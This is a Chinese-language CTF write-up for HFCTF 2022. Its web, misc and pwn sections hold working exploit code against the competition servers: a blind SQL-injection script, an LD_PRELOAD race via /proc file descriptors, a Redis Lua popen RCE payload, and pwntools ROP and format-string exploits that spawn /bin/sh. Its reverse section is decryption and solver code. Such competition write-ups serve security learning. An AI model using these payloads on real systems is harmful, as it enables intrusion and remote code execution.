虎符CTF2022
date
Mar 22, 2022
slug
hufuctf-2022
status
Published
tags
CTF
WriteUP
summary
type
Post
虎符2022 WriteUp by Z00M
Web
babysql
import requests as req
res = 'm52FPlDxYyLB^e'
string = [ord(i) for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}!@$^&._']
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
}
for i in range(50):
for j in string:
url = "<http://47.107.231.226:20354/login>"
data = {
'username': "1'||case'1'when`password`like'{0}%'COLLATE'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0".format(
res + chr(j)),
'password': '123'
}
request = req.post(url, data=data, headers=headers)
if '401' in request.text:
res += chr(j)
print("result:" + res)
break
else:
pass
ezphp
题⽬附件直接给了⼀个docker,⽅便本地部署直接docker起⼀个环境。简单看了下是⼀个⼲净的debian系统,代
码就⼀个index.php
⽣成⼀个so⽂件
注意这⾥⾯要加⼀个 unsetenv("LD_PRELOAD"); 否则会陷⼊⽆限死循环
怎么让⼀个⼆进制⼤⼀些
刚开始任务是在c源代码⾥⾯写很多printf之类的,增⼤体积,当然这样也是可以的。
后⾯发现其实⼀个so⽂件尾部追加脏字符也是可以的
这⾥因为都是⾛docker,我们根据本地调试确定⼤概fd位置,其实如果不给docker的话还是要爆破⼀下pid
import _thread
import time
import requests
addr = "<http://120.79.121.132>:xxxx"
def tr1():
while 1:
files = open("1.so", 'rb')
url = addr + "/index.php"
requests.post(url, data=files)
time.sleep(1)
def tr2():
while 1:
for i in range(11, 16):
response = requests.get(addr + "/index.php?env=LD_PRELOAD=/proc/12/fd/../../12/fd/" + str(i))
print(str(i) + " Response body: %s" % response.content)
time.sleep(2)
try:
_thread.start_new_thread(tr1, ())
_thread.start_new_thread(tr2, ())
except:
print("Error: ⽆法启动线程")
while 1:
pass
如果加载到了返回是空,我们也可以依此判断是否成功。
Misc
Quest-Crash
让redis服务down就行了,我尝试同时对set,get ,flush发包爆破让它服务崩溃,然后getflag
checkin
关注公众号,然后发消息然后等一会截个图就有了
Plain Text
^先base64得到dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ.
然后大小写转换一下Dobro povalowatx na mat^, wy dolvny perewesti \to na anglijskij qzyk. Twoj sekret sostoit iz dwuh slow. Wse bukwy stro^nye. Qblo^nyj arbuz. Velaem wam otli^nogo dnq.
用谷歌翻译俄语得到Welcome to motherland, you must translate then into English. Your secret consists of two words. All letters of the fruits. Apple watermelon. We wish you a great day.
最后根据要求输入HFCTF{apple_watermelon}
Quest-RCE
直接就是Redis RCE
{"query":"SET A A\\r\\neval \\"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); local io = io_l(); local f = io.popen('ls', 'r'); local res = f:read('*a'); f:close(); return res\\" 0 \\r\\n"}
\n换行 完事
Crypto
Pwn
gogogo
我愿称它为miscgopwn,整个程序流程可以在math_init函数看到。。不知道出题人为什么那么闲一个字符一个字符的输出555,
在第一关的地方输入1717986918,进入1A2B小游戏,根据流程分析猜测在小游戏后面辉有漏洞,拉到该函数流程最底下,发现存在一个read函数,在这存在一个溢出,至于过1A2B小游戏参考该文章进行小改就可以通关
进入到菜单后发现木有合适的位置,根据流程发现应该直接退出然后进入到READ函数
在确定的地方,这里写入0x460+大小的字符会溢出
于是选择此处构建链子进行ROP攻击,这里发现只能用ropper才能搜到pop,ropgadget不知道为啥不行
# coding=utf-8
from pwn import *
context.log_level = 'debug'
flag=1
if flag==1:
p=remote("120.25.148.180","38225")
else:
p=process("./gogogo")
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\\0'))
uu64 = lambda data :u64(data.ljust(8, '\\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def guessTrainner():
start =time.time()
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
print('第%d步----' %(i+1))
print('尝试:' +inputStrMax)
print('----')
AMax,BMax = compareAnswer(inputStrMax)
print('反馈:%dA%dB' % (AMax, BMax))
print('----')
print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
answerSetUpd(answerSet,inputStrMax,AMax,BMax)
if AMax==4:
elapsed = (time.time() - start)
print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
break
elif i==5:
print("猜数字失败!")
def compareAnswer(inputStr):
inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
p.sendline(inputStr1)
ru('\\n')
tmp = p.recvuntil('B',timeout=0.5)
# print(tmp)
if tmp == '':
return 4,4
tmp = tmp.split("A")
A = tmp[0]
B = tmp[1].split('B')[0]
return int(A),int(B)
def compareAnswer1(inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[j]==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[j]==answerStr[k]:
B+=1
return A,B
def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet
def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
A1,B1=compareAnswer1(inputStr,answerStr)
if A!=A1 or B!=B1:
answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
A1, B1 = compareAnswer1(inputStr, answerStr)
if A!=A1 or B!=B1:
i+=1
return i
def suggestedNum(answerSet,lvl):
suggestedNum=''
delCountMax=0
if len(answerSet) > lvl:
suggestedNum = list(answerSet)[0]
else:
for inputStr in answerSet:
delCount = 0
for answerStr in answerSet:
A,B = compareAnswer1(inputStr, answerStr)
delCount += answerSetDelNum(answerSet, inputStr,A,B)
if delCount > delCountMax:
delCountMax = delCount
suggestedNum = inputStr
if delCount == delCountMax:
if suggestedNum == '' or int(suggestedNum) > int(inputStr):
suggestedNum = inputStr
return suggestedNum
ru("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
ru("PLEASE INPUT A NUMBER:")
p.sendline("1234")
ru("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
payload="/bin/sh\\x00"+"a"*(0x458)+p64(0x405b78)+p64(0x405b78)+p64(0x45cbe4)+p64(0x45afa8)+p64(0)+'/bin/sh\\x00'+p64(0x45bcbc)+p64(0x405b78)+p64(59)+p64(0x45C849)
sla("ARE YOU SURE?",payload)
p.interactive()
#sla("OKAY YOU CAN LEAVE YOUR NAME AND BYE~",payload)
#p.interactive()
babygame
答对100题目
可以进入一个格式化字符漏洞的函数
很明显发现了一个格式化字符串漏洞,借助这里以及oneGadget来getshell
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
#p=process('./babygame')
p=remote('120.25.205.249',30647)
context(arch='amd64', os='linux')
libc=ELF('libc-2.31.so')
lib=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\\0'))
uu64 = lambda data :u64(data.ljust(8, '\\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def lg(name,val):
log.success(name+' : '+hex(val))
lib.srand(0x1111111111111111)
p.recvuntil(':')
p.send(0x109*'\\x11')
p.recvuntil(0x109*'\\x11')
canary=u64(p.recv(7).rjust(8,'\\x00'))
stack=u64(p.recv(6).ljust(8,'\\x00'))
lg('canary',canary)
lg('stack',stack)
answer=0
for i in range(100):
p.recvuntil(':')
num=lib.rand()%3
if num==0:
answer=1
if num==1:
answer=2
if num==2:
answer=0
p.sendline(str(answer))
context.log_level='debug'
p.recvuntil('you.')
payload='%62c%9$hhnaaaaaa'+'aaa%27$p'+p64(stack-536)
p.sendline(payload)
p.recvuntil('0x')
libc.address=int(p.recv(12),16)-20-libc.sym['atoi']
lg('libc.address',libc.address)
#0xe3b2e execve("/bin/sh", r15, r12)
#constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
#0xe3b31 execve("/bin/sh", r15, rdx)
#constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
#0xe3b34 execve("/bin/sh", rsi, rdx)
#constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
fuck_gadget=[0xe3b2e,0xe3b31,0xe3b34]
writes={stack-536:0xe3b2e+libc.address}
payload=fmtstr_payload(6,writes)
p.sendline(payload)
Reverse
fpbe
bpf program
/**
* @brief **bpf_program__attach_uprobe()** attaches a BPF program
* to the userspace function which is found by binary path and
* offset. You can optionally specify a particular proccess to attach
* to. You can also optionally attach the program to the function
* exit instead of entry.
*
* @param prog BPF program to attach
* @param retprobe Attach to function exit
* @param pid Process ID to attach the uprobe to, 0 for self (own process),
* -1 for all processes
* @param binary_path Path to binary that contains the function symbol
* @param func_offset Offset within the binary of the function symbol
* @return Reference to the newly created BPF link; or NULL is returned on error,
* error code is stored in errno
*/
LIBBPF_API struct bpf_link *
bpf_program__attach_uprobe(const struct bpf_program *prog, bool retprobe,
pid_t pid, const char *binary_path,
size_t func_offset);
try use bpftool to dump IR code
> bpftool prog show
259: kprobe name uprobe tag d833ddf75360d0b4 gpl
loaded_at 2022-03-19T11:15:32+0800 uid 0
xlated 792B jited 607B memlock 4096B
> bpftool prog dump xlated id 259
···
> bpftool prog dump xlated id 259 visual &> output.out
> dot -Tpng output.out -o visual-graph.png
generate pseudo C
data = """ 0: (79) r2 = *(u64 *)(r1 +104)
1: (67) r2 <<= 32
2: (77) r2 >>= 32
...
"""
av = []
for line in data.splitlines():
if "goto" in line:
t = line.split("goto")
condtion, gotoLine = t[0].split("if")[1], f'goto _{str(int(line[:4]) + int(t[1].split("+")[1]) + 1)}'
av.append("_"+line[:6].strip(" ") + f"if({condtion})" + '{' + gotoLine + ';}')
else:
av.append("_"+line[:6].strip(" ")+line[10:]+";")
print("\\n".join(av))
compile
#include <cstdint>
#include <cstdio>
#include <string>
typedef uint64_t u64;
typedef uint8_t u8;
typedef uint32_t u32;
int main() {
u64 flag[4] = {0,1,2,3};
u64 r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10;
_0: r2 = *(u64 *)flag[2];
_1: r2 <<= 32;
_2: r2 >>= 32;
_3: r3 = *(u64 *)flag[3];
_4: r3 <<= 32;
_5: r3 >>= 32;
_6: r4 = r3;
_7: r4 *= 28096;
_8: r5 = r2;
_9: r5 *= 64392;
_10: r5 += r4;
_11: r4 = *(u64 *)flag[1];
_12: r4 <<= 32;
_13: r4 >>= 32;
_14: r0 = r4;
_15: r0 *= 29179;
_16: r5 += r0;
_17: r1 = *(u64 *)flag[0];
_18: r0 = 0;
_19: *(u8 *)(r10 -8) = r0;
_20: *(u64 *)(r10 -16) = r0;
_21: *(u64 *)(r10 -24) = r0;
_22: r1 <<= 32;
_23: r1 >>= 32;
_24: r0 = r1;
_25: r0 *= 52366;
_26: r5 += r0;
_27: r6 = 1;
_28: r0 = 0xbe18a1735995;
_30:if( r5 != r0 ){goto _97;}
_31: r5 = r3;
_32: r5 *= 61887;
_33: r0 = r2;
_34: r0 *= 27365;
_35: r0 += r5;
_36: r5 = r4;
_37: r5 *= 44499;
_38: r0 += r5;
_39: r5 = r1;
_40: r5 *= 37508;
_41: r0 += r5;
_42: r5 = 0xa556e5540340;
_44:if( r0 != r5 ){goto _97;}
_45: r5 = r3;
_46: r5 *= 56709;
_47: r0 = r2;
_48: r0 *= 32808;
_49: r0 += r5;
_50: r5 = r4;
_51: r5 *= 25901;
_52: r0 += r5;
_53: r5 = r1;
_54: r5 *= 59154;
_55: r0 += r5;
_56: r5 = 0xa6f374484da3;
_58:if( r0 != r5 ){goto _97;}
_59: r5 = r3;
_60: r5 *= 33324;
_61: r0 = r2;
_62: r0 *= 51779;
_63: r0 += r5;
_64: r5 = r4;
_65: r5 *= 31886;
_66: r0 += r5;
_67: r5 = r1;
_68: r5 *= 62010;
_69: r0 += r5;
_70: r5 = 0xb99c485a7277;
_72:if( r0 != r5 ){goto _97;}
_73: *(u32 *)(r10 -12) = r1;
_74: *(u32 *)(r10 -16) = r4;
_75: *(u32 *)(r10 -20) = r2;
_76: *(u32 *)(r10 -24) = r3;
_77: r1 = 0xa7d73257b465443;
_79: *(u64 *)(r10 -40) = r1;
_80: r1 = 0x4648203a47414c46;
_82: *(u64 *)(r10 -48) = r1;
_83: r1 = 0x2052554f59202145;
_85: *(u64 *)(r10 -56) = r1;
_86: r1 = 0x4e4f44204c4c4557;
_88: *(u64 *)(r10 -64) = r1;
_89: r6 = 0;
_90: *(u8 *)(r10 -32) = r6;
_91: r1 = r10;
_92: r1 += -64;
_93: r3 = r10;
_94: r3 += -24;
_95: r2 = 33;
_96:printf((char*)r1, r3);
_97: r0 = r6;
_98: exit;
printf("\\n");
return 0;
}
the system of equtions
from z3 import *
MEMORY = [BitVec(f"MEMORY{i}", 64) for i in range(4)]
sol = Solver()
sol.add(52366 * MEMORY[0] + 29179 * MEMORY[1] + 28096 * MEMORY[3] + 64392 * MEMORY[2] == 0xBE18A1735995)
sol.add(37508 * MEMORY[0] + 44499 * MEMORY[1] + 61887 * MEMORY[3] + 27365 * MEMORY[2] == 0xA556E5540340)
sol.add(59154 * MEMORY[0] + 25901 * MEMORY[1]+ 56709 * MEMORY[3] + 32808 * MEMORY[2] == 0xA6F374484DA3)
sol.add(62010 * MEMORY[0] + 31886 * MEMORY[1] + 33324 * MEMORY[3] + 51779 * MEMORY[2] == 0xB99C485A7277)
assert sol.check() == sat
mol = sol.model()
print(''.join([int.to_bytes(mol.eval(i).as_long(), length=8, byteorder="little")[:4].decode() for i in MEMORY][::-1]))
Contra 2048
the native libs use ollvm bcf obfuscate, and xor string.
use frida dump from the memory.
then, look at anti debug.
it’s easy to patch.
let’s focus on pcap
analyze asm to get the message struct
struct msg
{
_DWORD header;
_DWORD type;
_DWORD time;
_DWORD hash;
_DWORD flag;
BYTE data[32];
};
we should focus on type
2
, the encrypt plaintext format is- 4 bytes nums (
0xdead + index
)
- 1 bytes input
- zero padding
concat input after aes decryption.
from construct import *
from Crypto.Cipher import AES
st = Struct(
Const(b"HUFU"),
"type" / Int32ul,
"time" / Int32ul,
"hash_0" / Hex(Int32ul),
"flag" / Int32ul,
"data" / Select(Bytes(32), Hex(Int64ul)),
)
peer0 = [[]] * 51
peer0[0] = [ # Packet 1
0x48, 0x55, 0x46, 0x55, 0x00, 0x00, 0x00, 0x00,
0x7a, 0x81, 0x13, 0x62, 0xcd, 0xd7, 0x40, 0x15,
0x20, 0x00, 0x00, 0x00, 0x62, 0x73, 0x6f, 0x54,
0x49, 0x4e, 0x58, 0x66, 0x50, 0x66, 0x58, 0x5a,
0x70, 0x51, 0x5a, 0x72, 0x65, 0x41, 0x4d, 0x75,
0x77, 0x73, 0x61, 0x56, 0x50, 0x75, 0x65, 0x6f,
0x6e, 0x72, 0x73, 0x47 ]
# ···
arrs = [bytearray(i) for i in peer0]
valueArr = []
for i in range(len(arrs)):
data = arrs[i]
p = st.parse(data)
print(f"{i}:", p)
if p["data"][0] == 0xff:
ctx = AES.new(key=b"KZoLJZlLkRlMOtuD", mode=AES.MODE_ECB)
value = p["data"][1:17]
dec = ctx.decrypt(value)
if dec[1] == 0xde:
valueArr.append(dec)
print("aesdec", dec.hex(), value.hex())
print(([i[4] for i in valueArr]))
the xtea encrypt before enter native space
enter native space, modify aes encryption first.
solve it.
#include <cstdint>
#include <cstdio>
#include <string>
#define AES_BLOCK_SIZE 16
#define AES_ROUNDS 10 // 12, 14
#define AES_ROUND_KEY_SIZE 176 // AES-128 has 10 rounds, and there is a AddRoundKey before first round. (10+1)x16=176.
/*
* round constants
*/
static uint8_t RC[] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36};
/*
* Sbox
*/
static uint8_t SBOX[256] = {
0xFC, 0xA1, 0xC1, 0x37, 0x3B, 0x43, 0x15, 0xDE, 0x7E, 0x24, 0x22, 0xEA, 0x62, 0xC2, 0x9F, 0x8F,
0xA0, 0x3D, 0xF0, 0x05, 0xA9, 0x7B, 0x74, 0x50, 0xB9, 0x71, 0x58, 0x0F, 0xE1, 0x21, 0xB0, 0x85,
0x25, 0x8D, 0x6A, 0x97, 0x91, 0x3F, 0xAD, 0x6D, 0xB7, 0xB4, 0xD0, 0x2C, 0x0C, 0x56, 0x7A, 0xAB,
0x0A, 0x5B, 0x83, 0xC5, 0xD6, 0x52, 0xB6, 0x88, 0xC0, 0xC4, 0x5F, 0x92, 0xBC, 0xE2, 0x1A, 0x4D,
0x76, 0x1F, 0x89, 0x1C, 0x23, 0xDF, 0xCA, 0x60, 0xE0, 0x17, 0x36, 0x75, 0xA7, 0x9E, 0x14, 0x5A,
0x02, 0x46, 0x4A, 0x11, 0x2F, 0x8B, 0xF4, 0x33, 0xF2, 0x6E, 0x72, 0xA5, 0xC7, 0xE3, 0xDA, 0x38,
0x53, 0x9B, 0x87, 0x09, 0x01, 0x4B, 0xA4, 0x42, 0x2E, 0xE7, 0x3A, 0x84, 0x12, 0x7F, 0x07, 0xBE,
0xC8, 0xC9, 0x13, 0x47, 0xFE, 0xD1, 0xAC, 0xF6, 0xF1, 0xA8, 0x96, 0xB2, 0xC6, 0x18, 0xFB, 0xD4,
0x82, 0x16, 0x73, 0x64, 0x5E, 0x7D, 0xEF, 0x0E, 0xAE, 0xA2, 0x0B, 0x30, 0xF7, 0xDD, 0xA6, 0x29,
0x6C, 0xDC, 0x98, 0xFA, 0xBD, 0x67, 0xD5, 0xD8, 0xAF, 0x51, 0xE4, 0xBF, 0x65, 0x1D, 0xF8, 0xCE,
0x9C, 0x26, 0xF3, 0x2A, 0x9A, 0x45, 0x08, 0x5C, 0x57, 0x06, 0x54, 0x2B, 0x41, 0x70, 0xB1, 0x63,
0x66, 0x3C, 0x44, 0x10, 0x31, 0x19, 0x86, 0x61, 0x6B, 0xD7, 0x79, 0xCB, 0x81, 0x69, 0x0D, 0xD2,
0xFF, 0x2D, 0x40, 0x03, 0x90, 0x9D, 0xE9, 0x4C, 0xCD, 0x00, 0xE5, 0x80, 0xDB, 0xBA, 0xCF, 0x48,
0xD9, 0x3E, 0xFD, 0x4F, 0xEE, 0x8E, 0x4E, 0x77, 0xA3, 0xB5, 0x5D, 0x32, 0xE6, 0x68, 0x27, 0xAA,
0xE8, 0x55, 0xF5, 0xCC, 0x78, 0x6F, 0xD3, 0x93, 0x7C, 0x28, 0x99, 0x34, 0xB3, 0x04, 0x95, 0x49,
0xED, 0x8A, 0xF9, 0x1E, 0xB8, 0xC3, 0x8C, 0x59, 0xEB, 0xEC, 0x35, 0x39, 0xBB, 0x1B, 0x94, 0x20};
/*
* Inverse Sboxs
*/
static uint8_t INV_SBOX[256] = {
0xc9, 0x64, 0x50, 0xc3, 0xed, 0x13, 0xa9, 0x6e, 0xa6, 0x63, 0x30, 0x8a, 0x2c, 0xbe, 0x87, 0x1b,
0xb3, 0x53, 0x6c, 0x72, 0x4e, 0x06, 0x81, 0x49, 0x7d, 0xb5, 0x3e, 0xfd, 0x43, 0x9d, 0xf3, 0x41,
0xff, 0x1d, 0x0a, 0x44, 0x09, 0x20, 0xa1, 0xde, 0xe9, 0x8f, 0xa3, 0xab, 0x2b, 0xc1, 0x68, 0x54,
0x8b, 0xb4, 0xdb, 0x57, 0xeb, 0xfa, 0x4a, 0x03, 0x5f, 0xfb, 0x6a, 0x04, 0xb1, 0x11, 0xd1, 0x25,
0xc2, 0xac, 0x67, 0x05, 0xb2, 0xa5, 0x51, 0x73, 0xcf, 0xef, 0x52, 0x65, 0xc7, 0x3f, 0xd6, 0xd3,
0x17, 0x99, 0x35, 0x60, 0xaa, 0xe1, 0x2d, 0xa8, 0x1a, 0xf7, 0x4f, 0x31, 0xa7, 0xda, 0x84, 0x3a,
0x47, 0xb7, 0x0c, 0xaf, 0x83, 0x9c, 0xb0, 0x95, 0xdd, 0xbd, 0x22, 0xb8, 0x90, 0x27, 0x59, 0xe5,
0xad, 0x19, 0x5a, 0x82, 0x16, 0x4b, 0x40, 0xd7, 0xe4, 0xba, 0x2e, 0x15, 0xe8, 0x85, 0x08, 0x6d,
0xcb, 0xbc, 0x80, 0x32, 0x6b, 0x1f, 0xb6, 0x62, 0x37, 0x42, 0xf1, 0x55, 0xf6, 0x21, 0xd5, 0x0f,
0xc4, 0x24, 0x3b, 0xe7, 0xfe, 0xee, 0x7a, 0x23, 0x92, 0xea, 0xa4, 0x61, 0xa0, 0xc5, 0x4d, 0x0e,
0x10, 0x01, 0x89, 0xd8, 0x66, 0x5b, 0x8e, 0x4c, 0x79, 0x14, 0xdf, 0x2f, 0x76, 0x26, 0x88, 0x98,
0x1e, 0xae, 0x7b, 0xec, 0x29, 0xd9, 0x36, 0x28, 0xf4, 0x18, 0xcd, 0xfc, 0x3c, 0x94, 0x6f, 0x9b,
0x38, 0x02, 0x0d, 0xf5, 0x39, 0x33, 0x7c, 0x5c, 0x70, 0x71, 0x46, 0xbb, 0xe3, 0xc8, 0x9f, 0xce,
0x2a, 0x75, 0xbf, 0xe6, 0x7f, 0x96, 0x34, 0xb9, 0x97, 0xd0, 0x5e, 0xcc, 0x91, 0x8d, 0x07, 0x45,
0x48, 0x1c, 0x3d, 0x5d, 0x9a, 0xca, 0xdc, 0x69, 0xe0, 0xc6, 0x0b, 0xf8, 0xf9, 0xf0, 0xd4, 0x86,
0x12, 0x78, 0x58, 0xa2, 0x56, 0xe2, 0x77, 0x8c, 0x9e, 0xf2, 0x93, 0x7e, 0x00, 0xd2, 0x74, 0xc0,
};
// ......
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main() {
uint8_t roundkeys[AES_ROUND_KEY_SIZE];
uint8_t key[16] = {72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 32, 50, 48, 52, 56, 33};
uint8_t data[48] = {174, 171, 207, 246, 74, 249, 129, 3, 174, 132, 149, 48, 57, 153, 218, 1, 53, 119, 54, 231, 124, 65, 77, 67, 239, 176, 170, 155, 1, 39, 33, 156, 2, 225, 14, 103, 194, 189, 254, 194, 163, 151, 234, 239, 101, 237, 139, 65};
uint8_t out[48] = {0};
aes_key_schedule_128(key, roundkeys);
for (int i = 0; i < 3; ++i) {
aes_decrypt_128(roundkeys, data+16*i, out+16*i);
}
uint32_t const k[4] = {745567528,745567520,2003788832,1679830126};
for (int i = 0; i < 6; ++i) {
uint32_t v[2] = {((uint32_t *) out)[i * 2], ((uint32_t *) out)[i * 2 + 1]};
decipher(32, v, k);
printf("0x%08x, 0x%08x, ", v[0], v[1]);
}
return 0;
}
the_shellcode
themida unpacked.
shellcode xxtea
modify MX part:
z>>6
#include <cstdint>
#include <cstdio>
#include <string>
#define DELTA 0x9e3779b9
#define MX (((z>>6^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
uint32_t tmp = MX;
v[p] += tmp;
z = v[p];
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
v[p] -= MX;
y = v[p];
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main() {
uint32_t const k1[4] = {'t', 'o', 'r', 'a'};
uint32_t vs[66] = {
0x4B6B89A1, 0x74C15453, 0x4092A06E, 0x429B0C07, 0x40281E84, 0x8B5B44C9, 0x66FEB37B, 0x3C77A603,
0x79C5892D, 0x0D7ADA97, 0x1D51AA56, 0x02D4D703, 0x4FA526BA, 0x32FAD64A, 0x0C0F6091, 0x562B7593,
0xDB9ADD67, 0x76165563, 0xA5F79315, 0x3AEB991D, 0x1AB721D4, 0xAACD9D2C, 0x825C2B27, 0x76A7761A,
0xB4005F18, 0x117F3763, 0x512CC540, 0xC594A16F, 0xD0E24F8C, 0x9CA3E2E9, 0x0A9CC2D5, 0x4629E61D,
0x637129E3, 0xCA4E8AD7, 0xF5DFAF71, 0x474E68AB, 0x542FBC3A, 0xD6741617, 0xAD0DBBE5, 0x62F7BBE3,
0xC8D68C07, 0x880E950E, 0xF80F25BA, 0x767A264C, 0x9A7CE014, 0x5C8BC9EE, 0x5D9EF7D4, 0xB999ACDE,
0xB2EC8E13, 0xEE68232D, 0x927C5FCE, 0xC9E3A85D, 0xAC74B56B, 0x42B6E712, 0xCD2898DA, 0xFCF11C58,
0xF57075EE, 0x5076E678, 0xD4D66A35, 0x95105AB9, 0x1BB04403, 0xB240B959, 0x7B4E261A, 0x23D129D8,
0xF5E752CD, 0x4EA78F70,
};
btea(vs, -66, k1);
for (int i = 0; i < 33; ++i) {
printf("0x%08x, 0x%08x, ", vs[i*2+0], vs[i*2+1]);
}
return 0;
}
reverse rol 3 bits
def ROR(data, shift, size=32):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)
value = [0x6243e703, 0x993831bb, 0x925c2396, 0x60925c81, 0x5ca0925c, 0xbd784193, 0xff993152, 0xe1650699, 0x6110e30b, 0x687e0e01,
0x8717c718, 0x925cba92, 0xe1125c80, 0x025c1618, 0x78062cc3, 0x0000f524, 0x82161800, 0x5cc0425c, 0xd61801c2, 0x7800cf1c,
0x00004d24, 0xa15c4a00, 0x9997185c, 0x650699ff, 0x18687e0e, 0xab26d1c7, 0x21e318a7, 0x21e3d920, 0x99ceab60, 0x1c4e99ff,
0xb5788216, 0x7e0e5020, 0x0ac71868, 0xab70cf1c, 0x687e0e8f, 0x99ff99ba, 0x21a25c4e, 0xb57892e1, 0x3bc570e0, 0xbf333333,
0x5cd78e5f, 0xf8470e16, 0x206c1618, 0xd2c65904, 0x5020b578, 0x7e0e1e59, 0x0ac71868, 0xab70cf1c, 0x687e0ea6, 0xa321e1d9,
0x9b2943b0, 0x265c0000, 0x007b7343, 0x5c82a200, 0xff4221e2, 0x43a05f9e, 0x00009b29, 0xcb43265c, 0xa2009b2b, 0x21e25c82,
0xc29eff42, 0xc2c2c2c2, 0xc2c2c2c2, 0xfac21e0b, 0x4f905cd2, 0xffffff58,]
data = struct.pack("<66L", *value)
data = bytearray([ROR(i, 3, 8) for i in data])
shellcode = base64.b64encode(data).decode()
print(shellcode)
check flag use ror13 hash
def ror13(target):
# return ((target << 0x13) & 0xfff80000) | ((target >> 0xd) & 0x07ffff)
return ((target << 0x13) & 0xffffffff) | ((target >> 0xd) & 0x07ffff)
def calc(s):
target = 0
for c in s:
target = ror13(target)
target += c
return target
x64dbg debug get param values.
import hashlib
msd = b'LoadLibraryExA'
data = bytearray(b''.fromhex("69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E"))
for i in range(14):
data[i] += msd[i] % 5
